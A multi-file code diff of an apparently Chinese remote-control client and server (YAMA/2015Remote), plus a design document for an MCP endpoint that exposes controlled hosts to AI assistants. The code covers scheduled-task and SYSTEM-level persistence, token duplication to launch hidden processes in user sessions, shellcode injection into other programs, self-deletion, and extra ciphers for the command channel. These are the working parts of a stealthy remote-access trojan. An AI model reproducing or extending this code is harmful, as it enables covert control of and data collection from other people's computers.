int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin, bootRun);
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
if (b && status) {
int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE);
@@ -398,7 +444,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
return 0;
}
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin);
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin, bootRun);
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
if (lockFile)
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

View File

@@ -6,7 +6,8 @@ const char* GetInstallDirectory(const char* startupName);
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
// return > 0 means to continue running else terminate.
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log);
// runasAdmin: 0-普通权限 1-管理员 2-STYSTEM; 必须有管理员权限才能设置1或2
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log);
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
bool IsSystemInSession0();

176
client/session.cpp Normal file
View File

@@ -0,0 +1,176 @@
#include "session.h"
#include <wtsapi32.h>
#include <userenv.h>
#include <wtsapi32.h>
#include <stdio.h>
#include "common/logger.h"
#pragma comment(lib, "Wtsapi32.lib")
#pragma comment(lib, "Userenv.lib")
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
static DWORD g_lastIndex = 0;
DWORD GetNextSessionRoundRobin()
{
PWTS_SESSION_INFOA sessions = NULL;
DWORD count = 0;
if (!WTSEnumerateSessionsA(
WTS_CURRENT_SERVER_HANDLE,
0,
1,
&sessions,
&count))
{
Mprintf("WTSEnumerateSessionsA Failed: %d\n", GetLastError());
return 0xFFFFFFFF;
}
if (count == 0)
{
Mprintf("WTSEnumerateSessionsA Failed: count=0\n");
WTSFreeMemory(sessions);
return 0xFFFFFFFF;
}
DWORD start = g_lastIndex;
for (DWORD i = 0; i < count; i++)
{
DWORD idx = (start + i) % count;
DWORD sessionId = sessions[idx].SessionId;
// 过滤无效 session
if (sessionId == 0)
continue;
WTS_CONNECTSTATE_CLASS* state = NULL;
DWORD bytes = 0;
if (WTSQuerySessionInformationA(
WTS_CURRENT_SERVER_HANDLE,
sessionId,
WTSConnectState,
(LPSTR*)&state,
&bytes))
{
BOOL ok = (state && (
*state == WTSActive ||
*state == WTSConnected));
WTSFreeMemory(state);
if (ok)
{
g_lastIndex = (idx + 1) % count;
DWORD result = sessionId;
WTSFreeMemory(sessions);
Mprintf("GetNextSessionRoundRobin Succeed: session=%d\n", result);
return result;
}
}
}
WTSFreeMemory(sessions);
return 0xFFFFFFFF;
}
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd)
{
HANDLE hToken = NULL;
HANDLE hDupToken = NULL;
// 获取当前服务进程的 SYSTEM 令牌
char buf[500];
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
sprintf(buf, "OpenProcessToken failed: %d\n", (int)GetLastError());
Mprintf(buf);
return FALSE;
}
// 复制为可用于创建进程的主令牌
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken)) {
sprintf(buf, "DuplicateTokenEx failed: %d\n", (int)GetLastError());
Mprintf(buf);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
// 修改令牌的会话 ID 为目标用户会话
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
sprintf(buf, "SetTokenInformation failed: %d\n", (int)GetLastError());
Mprintf(buf);
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
Mprintf("Token duplicated");
char path[MAX_PATH];
if (!exePath)
GetModuleFileNameA(NULL, path, MAX_PATH);
else
lstrcpyA(path, exePath);
// 获取用户令牌(用于获取环境块)
LPVOID lpEnvironment = NULL;
HANDLE hUserToken = NULL;
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
Mprintf( "WTSQueryUserToken failed: %d\n", (int)GetLastError());
}
// 使用用户令牌创建环境块
if (hUserToken) {
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
Mprintf("CreateEnvironmentBlock failed: %d\n", GetLastError());
}
CloseHandle(hUserToken);
}
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
si.lpDesktop = (LPSTR)"winsta0\\default";
char cmdStr[300];
sprintf(cmdStr, "\"%s\" -cmd=%d", path, int(cmd));
BOOL result = CreateProcessAsUserA(
hDupToken,
NULL,
(LPSTR)cmdStr,
NULL,
NULL,
FALSE,
NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT,
lpEnvironment,
NULL,
&si,
&pi);
if (result)
{
Mprintf("CreateProcessAsUserA Succeed\n");
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else {
Mprintf("CreateProcessAsUserA Failed [%d]: %s\n", GetLastError(), cmdStr);
}
CloseHandle(hDupToken);
CloseHandle(hToken);
return result;
}
void RunRoundRobinAgent(BYTE cmd)
{
DWORD sessionId = GetNextSessionRoundRobin();
if (sessionId == 0xFFFFFFFF)
return;
StartProcessInSessionA(sessionId, NULL, cmd);
}

7
client/session.h Normal file
View File

@@ -0,0 +1,7 @@
#include <windows.h>
DWORD GetNextSessionRoundRobin();
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd);
void RunRoundRobinAgent(BYTE cmd);

View File

@@ -8,6 +8,7 @@
#include <common/md5.h>
#include <common/iniFile.h>
#include "auto_start.h"
#include "Common.h"
// A shell code loader connect to 127.0.0.1:6543.
// Build: xxd -i TinyRun.dll > SCLoader.cpp
// #include "SCLoader.cpp"
@@ -27,6 +28,8 @@ typedef bool (*IsStoped)();
typedef BOOL (*IsExit)();
typedef int(*CmdRunner)(LPBYTE szBuffer, int ulLength);
// 停止程序运行
StopRun stop = NULL;
@@ -60,7 +63,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
}
// 运行程序.
BOOL Run(const char* argv1, int argv2);
BOOL Run(const char* argv1, int argv2, const std::string& runCmd);
// Package header.
typedef struct PkgHeader {
@@ -305,60 +308,64 @@ int InjectShellcode(BYTE* buf, int len) {
int main(int argc, const char *argv[])
{
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
InitWindowsService(NewService(
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || IsSystemInSession0();
// 注册启动项
int r = RegisterStartup(
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
!isService, g_ConnectAddress.runasAdmin, Logf);
if (r <= 0) {
if (g_ConnectAddress.iStartup == Startup_DLL) {
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
if (!folder) {
return -1;
}
char dstFile[MAX_PATH] = { 0 };
sprintf(dstFile, "%s\\ServerDll.dll", folder);
if (_access(dstFile, 0) == -1) {
char curFile[MAX_PATH] = { 0 };
GetModuleFileNameA(NULL, curFile, MAX_PATH);
GET_FILEPATH(curFile, "ServerDll.dll");
if (_access(curFile, 0) == -1) {
MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR);
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
if (!runCmd) {
InitWindowsService(NewService(
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || (IsSystemInSession0()&&g_ConnectAddress.iStartup != Startup_TestRunSystem);
bool lockFile = g_ConnectAddress.iStartup != Startup_TestRunMsc && g_ConnectAddress.iStartup != Startup_TestRunSystem && !IsSystemInSession0();
// 注册启动项
int r = RegisterStartup(
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf);
if (r <= 0) {
if (g_ConnectAddress.iStartup == Startup_DLL) {
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
if (!folder) {
return -1;
}
MoveFileA(curFile, dstFile);
char dstFile[MAX_PATH] = { 0 };
sprintf(dstFile, "%s\\ServerDll.dll", folder);
if (_access(dstFile, 0) == -1) {
char curFile[MAX_PATH] = { 0 };
GetModuleFileNameA(NULL, curFile, MAX_PATH);
GET_FILEPATH(curFile, "ServerDll.dll");
if (_access(curFile, 0) == -1) {
MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR);
return -1;
}
MoveFileA(curFile, dstFile);
}
}
BOOL s = self_del();
if (!IsDebug) {
Mprintf("结束运行.\n");
Sleep(1000);
return r;
}
}
BOOL s = self_del();
if (!IsDebug) {
Mprintf("结束运行.\n");
Sleep(1000);
return r;
}
}
BOOL ok = SetSelfStart(argv[0], REG_NAME, Logf);
if(!ok) {
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
}
BOOL ok = SetSelfStart(argv[0], REG_NAME, Logf);
if (!ok) {
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
}
if (isService) {
bool ret = RunAsWindowsService(argc, argv);
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
for (int i = 0; !ret && i < argc; i++) {
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
if (isService) {
bool ret = RunAsWindowsService(argc, argv);
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
for (int i = 0; !ret && i < argc; i++) {
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
}
if (ret) {
Mprintf("结束运行.\n");
Sleep(1000);
return 0x20251202;
}
g_ConnectAddress.iStartup = Startup_MEMDLL;
}
if (ret) {
Mprintf("结束运行.\n");
Sleep(1000);
return 0x20251202;
}
g_ConnectAddress.iStartup = Startup_MEMDLL;
}
status = 0;
@@ -376,7 +383,8 @@ int main(int argc, const char *argv[])
do {
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()),
(argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0 && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "");
if (ret == 1) {
Mprintf("结束运行.\n");
Sleep(1000);
@@ -397,7 +405,7 @@ int main(int argc, const char *argv[])
}
// 传入命令行参数: IP 和 端口.
BOOL Run(const char* argv1, int argv2)
BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
{
BOOL result = FALSE;
char path[_MAX_PATH], * p = path;
@@ -438,7 +446,7 @@ BOOL Run(const char* argv1, int argv2)
case Startup_DLL:
runner = new DefaultDllRunner;
break;
case Startup_MEMDLL:
case Startup_MEMDLL: case Startup_TestRunSystem :
runner = new MemoryDllRunner;
break;
case Startup_InjSC:
@@ -455,6 +463,8 @@ BOOL Run(const char* argv1, int argv2)
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
CmdRunner cmd = hDll ? CmdRunner(runner->GetProcAddress(hDll, "RunCommand")) : NULL;
int nCmd = runCmd.empty() ? 0 : std::atoi(runCmd.c_str());
if (NULL == run) {
if (hDll) runner->FreeLibrary(hDll);
Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
@@ -476,6 +486,13 @@ BOOL Run(const char* argv1, int argv2)
port = cfg.Get1Int("settings", "port", ';', 6543);
}
Mprintf("[server] %s:%d\n", ip, port);
if (nCmd) {
BYTE buf[] = {nCmd};
if (cmd) nCmd = cmd(buf, 1);
result = 1;
Mprintf("Finish run command. Result: %d\n", nCmd);
break;
}
do {
run(ip, port);
while (bStop && !bStop() && 0 == status)

View File

@@ -34,7 +34,14 @@
#define AUTO_TICK(p, q)
#define STOP_TICK
#define OutputDebugStringA(p) printf(p)
#define decrypt_v7 decrypt_v1
#define decrypt_v8 decrypt_v2
#define decrypt_v9 decrypt_v3
#define decrypt_v10 decrypt_v4
#define encrypt_v7 encrypt_v1
#define encrypt_v8 encrypt_v2
#define encrypt_v9 encrypt_v3
#define encrypt_v10 encrypt_v4
#include <unistd.h>
#define Sleep(n) ((n) >= 1000 ? sleep((n) / 1000) : usleep((n) * 1000))
@@ -304,7 +311,15 @@ enum {
TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件)
TOKEN_DRAWING_BOARD=151, // 画板
COMMAND_SCREEN_ROI = 152, // 屏幕区域
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
COMMAND_SCREEN_SIGNATURE = 154,
COMMAND_QUERY_LOG = 155,
TOKEN_REPORT_LOG = 156,
COMMAND_FORBIDDEN = 157,
CMD_CUSTOM_CURSOR = 158,
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表
COMMAND_REG_FIND, // 注册表 管理标识
@@ -341,9 +356,15 @@ enum {
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
COMMAND_TEXT_REPLACE = 249,
TOKEN_CLIP_TEXT = 250,
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
};
#pragma pack(push, 1)
struct SignatureResp {
char msg[64];
char signature[64];
};
struct TextReplace {
uint8_t cmd;
uint8_t type;
@@ -651,6 +672,7 @@ enum {
CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行
CLIENT_TYPE_LINUX = 6, // LINUX 客户端
CLIENT_TYPE_MACOS = 7, // MACOS 客户端
CLIENT_TYPE_ANDROID = 8, // ANDROID 客户端
};
enum {
@@ -678,6 +700,8 @@ inline const char* GetClientType(int typ)
return "LNX";
case CLIENT_TYPE_MACOS:
return "MAC";
case CLIENT_TYPE_ANDROID:
return "APK";
default:
return "DLL";
}
@@ -724,6 +748,8 @@ enum TestRunType {
Startup_InjSC, // 远程 Shell code 注入其他程序执行shell code
Startup_GhostMsc, // Windows 服务
Startup_TestRunMsc, // Windows 服务
Startup_GhostSystem, // SYSTEM 权限运行(随开机启动)
Startup_TestRunSystem, // SYSTEM 权限运行(随开机启动)
};
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
@@ -1086,6 +1112,7 @@ enum AuthStatus {
UNAUTHORIZED = 0, // 未授权
AUTHED_BY_SUPER = 1, // 由超级管理员授权
AUTHED_BY_ADMIN = 2, // 由管理员授权
AUTH_FORBIDDEN = 9,
};
// 固定1024字节
@@ -1281,7 +1308,8 @@ typedef struct ScreenSettings {
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
int EncodeLevel; // 偏移 48, 编码等级
char Reserved[44]; // 偏移 52, 保留字段(新能力参数从此处扩展)
int CustomCursor; // 偏移 52, 自定义光标
char Reserved[40]; // 偏移 56, 保留字段(新能力参数从此处扩展)
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
} ScreenSettings; // 总大小 100 字节

View File

@@ -133,3 +133,19 @@ inline void decrypt_v6(unsigned char* data, size_t length, unsigned char key)
{
encrypt_v6(data, length, key); // 异或的自反性
}
// v7: LCG 流 + 位偏置(非自反,需对应 decrypt_v7 解密)
void encrypt_v7(unsigned char* data, size_t length, unsigned char key);
void decrypt_v7(unsigned char* data, size_t length, unsigned char key);
// v8: 循环位移 + LCG 异或流(非自反)
void encrypt_v8(unsigned char* data, size_t length, unsigned char key);
void decrypt_v8(unsigned char* data, size_t length, unsigned char key);
// v9: 双层密码(逐字节替换 + 前向链式异或)
void encrypt_v9(unsigned char* data, size_t length, unsigned char key);
void decrypt_v9(unsigned char* data, size_t length, unsigned char key);
// v10: BCrypt HMAC-SHA256 密钥流XOR 自反)
void encrypt_v10(unsigned char* data, size_t length, unsigned char key);
void decrypt_v10(unsigned char* data, size_t length, unsigned char key);

View File

@@ -20,6 +20,10 @@ enum HeaderEncType {
HeaderEncV4,
HeaderEncV5,
HeaderEncV6,
HeaderEncV7,
HeaderEncV8,
HeaderEncV9,
HeaderEncV10,
HeaderEncNum,
};
@@ -91,7 +95,8 @@ inline void decrypt(unsigned char* data, size_t length, unsigned char key)
inline EncFun GetHeaderEncoder(HeaderEncType type)
{
static const DecFun methods[] = { default_encrypt, encrypt, encrypt_v1, encrypt_v2, encrypt_v3, encrypt_v4, encrypt_v5, encrypt_v6 };
static const DecFun methods[] = { default_encrypt, encrypt, encrypt_v1, encrypt_v2, encrypt_v3, encrypt_v4, encrypt_v5, encrypt_v6,
encrypt_v7, encrypt_v8, encrypt_v9, encrypt_v10 };
return methods[type];
}
@@ -170,7 +175,8 @@ inline FlagType CheckHead(const char* flag, DecFun dec)
// 解密需要尝试多种方法,以便能兼容老版本通讯协议
inline FlagType CheckHead(char* flag, HeaderEncType& funcHit)
{
static const DecFun methods[] = { default_decrypt, decrypt, decrypt_v1, decrypt_v2, decrypt_v3, decrypt_v4, decrypt_v5, decrypt_v6 };
static const DecFun methods[] = { default_decrypt, decrypt, decrypt_v1, decrypt_v2, decrypt_v3, decrypt_v4, decrypt_v5, decrypt_v6,
decrypt_v7, decrypt_v8, decrypt_v9, decrypt_v10 };
static const int methodNum = sizeof(methods) / sizeof(DecFun);
char buffer[MIN_COMLEN + 4] = {};
for (int i = 0; i < methodNum; ++i) {

17
common/logger.cpp Normal file
View File

@@ -0,0 +1,17 @@
#include "logger.h"
#if defined(__ANDROID__)
static void (*androidLog)(const char*) = nullptr;
void UseAndroidLog(void (*cb)(const char*)) {
androidLog = cb;
}
__attribute__((format(printf, 1, 2)))
void android_log(const char* fmt, ...) {
char buf[256];
va_list ap; va_start(ap, fmt); vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap);
__android_log_print(ANDROID_LOG_DEBUG, "YAMA_NET", "%s", buf);
if (androidLog) androidLog(buf);
}
#endif

View File

@@ -29,6 +29,7 @@
#include <cstdarg>
#include <iomanip>
#include <algorithm>
#include <deque>
inline bool stringToBool(const std::string& str)
@@ -150,6 +151,22 @@ public:
std::string logEntry = file && line ?
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
id + "[" + timestamp + "] " + message;
// 方案B在源头统一保证每条日志以单个 '\n' 结尾,文件与内存 ring buffer
// 共用同一份文本;写文件时不再额外追加换行,内存导出直接拼接即可正确分行。
while (!logEntry.empty() && (logEntry.back() == '\n' || logEntry.back() == '\r'))
logEntry.pop_back();
logEntry += '\n';
// Always record to in-memory ring buffer regardless of enable flag.
{
std::lock_guard<std::mutex> lock(m_memMutex);
m_memLog.push_back(logEntry);
m_totalCount++;
if (m_memLog.size() > kMemLogMax)
m_memLog.pop_front();
}
if (enable) {
if (running) {
std::lock_guard<std::mutex> lock(queueMutex);
@@ -168,6 +185,32 @@ public:
cv.notify_one(); // 通知写线程
}
// 返回内存 ring buffer 中的全部日志(供 TCP 查询使用)
std::string DumpMemoryLog() const
{
std::lock_guard<std::mutex> lock(m_memMutex);
std::string result;
result.reserve(m_memLog.size() * 128);
for (const auto& entry : m_memLog)
result += entry;
return result;
}
// 增量版本:只返回 fromAbs 之后的新条目,并将 fromAbs 更新到当前末尾。
// fromAbs 是调用方维护的绝对计数器(首次传 0 即得全量)。
std::string DumpMemoryLogFrom(size_t& fromAbs) const
{
std::lock_guard<std::mutex> lock(m_memMutex);
// ring buffer 内最旧条目的绝对序号
size_t oldest = (m_totalCount >= m_memLog.size()) ? m_totalCount - m_memLog.size() : 0;
size_t startIdx = (fromAbs <= oldest) ? 0 : (fromAbs - oldest);
std::string result;
for (size_t i = startIdx; i < m_memLog.size(); ++i)
result += m_memLog[i];
fromAbs = m_totalCount;
return result;
}
// 停止日志系统
void stop()
{
@@ -220,6 +263,11 @@ private:
std::mutex fileMutex; // 文件写入锁
std::string pid; // 进程ID
static constexpr size_t kMemLogMax = 1000;
std::deque<std::string> m_memLog;
size_t m_totalCount = 0;
mutable std::mutex m_memMutex;
Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
~Logger()
@@ -263,7 +311,7 @@ private:
std::lock_guard<std::mutex> lock(fileMutex);
std::ofstream logFile(logFileName, std::ios::app);
if (logFile.is_open()) {
logFile << logEntry << std::endl;
logFile << logEntry; // logEntry 已在 log() 中以单个 '\n' 结尾
}
}
@@ -336,6 +384,15 @@ inline const char* getFileName(const char* path)
#else
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
#endif
#elif defined(__ANDROID__)
#include <android/log.h>
#include <cstdarg>
#ifdef Mprintf
#undef Mprintf
#endif
void UseAndroidLog(void (*cb)(const char*));
void android_log(const char* fmt, ...);
#define Mprintf android_log
#else
// Linux: 覆盖 commands.h 中的 printf 回退定义,改用 Logger 写文件
#ifdef Mprintf

View File

@@ -47,4 +47,4 @@ struct RttEstimator {
// 进程级全局:所有翻译单元共享同一份估算器与心跳间隔
inline RttEstimator g_rttEstimator;
inline int g_heartbeatInterval = 5; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新
inline int g_heartbeatInterval = 30; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新

443
docs/Mcp_Design.md Normal file
View File

@@ -0,0 +1,443 @@
# YAMA 服务端 MCP 支持方案
> 版本1.0
> 状态Final定稿
> 适用范围:`server/2015Remote/`C++/MFC 服务端,生产主流)
---
## 1. 背景与目标
### 1.1 背景
MCPModel Context Protocol是 Anthropic 提出的开放协议,让 AI 助手Claude Code、Claude Desktop 等)通过标准化的工具调用接口访问外部系统的能力。
YAMA 服务端维护了「在线主机列表」这一核心数据,如果能通过 MCP 暴露出去,用户就能在 Claude Code 里直接问「现在有多少台机器在线?」「列出所有在线的 Windows 主机」等,由 AI 调用工具获取实时数据。
### 1.2 本期范围MVP
**只跑通 MCP只实现一个工具**,把可扩展架构搭起来:
- 传输方式Streamable HTTP`POST /mcp`JSON-RPC 2.0 over HTTP
- 工具数量1 个 —— `list_online_hosts`(获取在线主机列表)
- 暴露范围:启用开关(默认关闭,经「扩展 → MCP设置」对话框开启+ 绑定地址可配置(默认 `127.0.0.1` 仅本机)+ token 认证env / THIS_CFG / 随机)
- 后续:逐步添加工具(进程列表、命令执行、屏幕截图等),架构不动
### 1.3 非目标(明确不做)
- 不做 SSE 服务器推送(本期工具调用是 request/response 即可)
- 不做多用户/角色体系(复用现有 WebService 认证或静态 token
- 不做写操作工具(操控主机的工具属于后续阶段,需单独评审安全边界)
- 不碰现有 Web 控制台的 WebSocket 服务
---
## 2. 现状分析
C++ 服务端已有大量可直接复用的资产MCP 的落地成本因此大幅降低。
| 现成资产 | 位置 | 在 MCP 中的角色 |
|---|---|---|
| HTTP 服务器 | `httplib.h`header-only`file_server.h:34` 已用) | MCP 的 HTTP 传输层 |
| JSON 库 | `jsoncpp/json.h``WebService.cpp` 已用) | JSON-RPC 编解码 |
| Token 认证 | `WebServiceAuth.h``GenerateToken` / `ValidateToken` / `ComputeSHA256` | 可选升级路径MVP 用简单静态 token 比对(见 §3.5 |
| 在线主机列表 → JSON | `CWebService::BuildDeviceListJson()``WebService.cpp:1506` | **工具 `list_online_hosts` 的核心逻辑** |
| 在线主机数据源 | `CMy2015RemoteDlg::m_HostList``2015RemoteDlg.h:345``m_cs` 保护)+ `context::IsLogin()` + `context::GetClientData()` | 取数入口 |
| 配置系统 | `THIS_CFG.GetInt/GetStr("settings", ...)` | MCP 端口/token 配置 |
### 2.1 关键结论
- **HTTP、JSON、认证、主机列表 JSON 全部现成**MCP 侧不需要重新造轮子。
- **唯一需要手写的是 MCP 的 JSON-RPC 2.0 协议层**,因为 C++ 没有官方 MCP SDK官方仅有 TS/Python/Java/Kotlin/C#/Go)。
### 2.2 `BuildDeviceListJson` 现状
`WebService.cpp:1506``CWebService::BuildDeviceListJson(const std::string& username)` 已实现:
- 遍历 `m_pParentDlg->m_HostList`,过滤 `ctx->IsLogin()`
- 输出字段:`id` / `name` / `remark` / `ip` / `os` / `location` / `rtt` / `version` / `activeWindow` / `online` / `group` / `screen` / `clientType`
- 已处理 GBK/UTF-8 编码分叉(`activeWindow` 字段按客户端能力位选择编码页,见 `WebService.cpp:1581` 附近的 `GetClientEncoding`
**该方法是 `private`**`WebService.h:160`,位于 private 段。MCP 侧需通过公开入口复用(见 §3.4)。
---
## 3. 方案设计
### 3.1 总体架构
```
2015Remote.exeMFC 服务端进程)
├─ IOCP TCP 服务(被控端连接,现有)
├─ WebServicews::ServerWeb 控制台现有8080
└─ McpServerhttplib新增默认禁用经「MCP设置」开启后监听 127.0.0.1:6544
POST /mcp → JSON-RPC 分发
├─ initialize
├─ tools/list
└─ tools/call
└─ list_online_hosts → 复用 BuildHostJson公共函数§3.4
```
**核心决策:独立起一个 httplib server不挂到现有 `ws::Server`。**
理由:
- 现有 `ws::Server``HttpHandler` 只有 `path` 参数、无 POST body`SimpleWebSocket.h:345`),强挂 MCP 需改动其底层,侵入大、有回归风险。
- 独立 server 零耦合、零风险,且天然满足「仅 127.0.0.1」的绑定需求。
### 3.2 新增文件清单
| 文件 | 职责 | 估算量 |
|---|---|---|
| `McpServer.h` / `McpServer.cpp` | httplib 封装、`POST /mcp` 路由、token 校验、生命周期 | ~120 行 |
| `McpProtocol.h` / `McpProtocol.cpp` | JSON-RPC 2.0 协议层:`initialize` / `tools/list` / `tools/call` 分发 | ~250 行 |
| `McpTools.h` / `McpTools.cpp` | 工具注册表 + `list_online_hosts` 实现 | ~80 行 |
| `McpSettingsDlg.h` / `McpSettingsDlg.cpp` | 「MCP设置」配置对话框启用/端口/绑定/token + 重启提醒) | ~150 行 |
| 修改 `2015RemoteDlg.cpp` / `.h` | 启动/停止 McpServer + 菜单项接线(`ID_MCP_SETTINGS``OnMcpSettings` | ~30 行 |
| 修改 `2015Remote.rc` / `resource.h` / `UIBranding.h` / `FeatureFlags.h` | `ID_MCP_SETTINGS` 菜单项 + `IDD_DIALOG_MCP_SETTINGS` 对话框资源 + `HIDE_MENU_MCP_SETTINGS` + `MF_MCP_SETTINGS` 许可位 | 少量 |
> 头文件/实现可合并精简,实际以「一个 `McpServer` 类 + 一个工具注册表 + 一个协议分发函数」为最小形态,文件拆分仅为可读性。
### 3.3 协议层设计JSON-RPC 2.0
MCP 是 JSON-RPC 2.0。MVP 只需实现以下方法:
#### 3.3.1 `initialize`(握手)
请求:
```json
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"claude","version":"..."}}}
```
响应:
```json
{"jsonrpc":"2.0","id":1,"result":{
"protocolVersion":"2025-06-18",
"capabilities":{"tools":{}},
"serverInfo":{"name":"yama","version":"<VERSION_STR>"}
}}
```
#### 3.3.2 `tools/list`
请求:`{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}`
响应:
```json
{"jsonrpc":"2.0","id":2,"result":{"tools":[{
"name":"list_online_hosts",
"description":"获取当前所有在线主机的列表包含计算机名、IP、操作系统、版本、备注、分组、活动窗口、延迟等实时信息。",
"inputSchema":{"type":"object","properties":{},"required":[]},
"outputSchema":{
"type":"object",
"properties":{
"hosts":{
"type":"array",
"items":{
"type":"object",
"properties":{
"id":{"type":"string"},
"name":{"type":"string"},
"remark":{"type":"string"},
"ip":{"type":"string"},
"os":{"type":"string"},
"location":{"type":"string"},
"rtt":{"type":"string"},
"version":{"type":"string"},
"activeWindow":{"type":"string"},
"online":{"type":"boolean"},
"group":{"type":"string"},
"screen":{"type":"string"},
"clientType":{"type":"string"}
}
}
}
},
"required":["hosts"]
}
}]}}
```
#### 3.3.3 `tools/call`
请求:
```json
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"list_online_hosts","arguments":{}}}
```
响应(结构化输出:`structuredContent` 承载主机数组,`content` 附带可读摘要):
```json
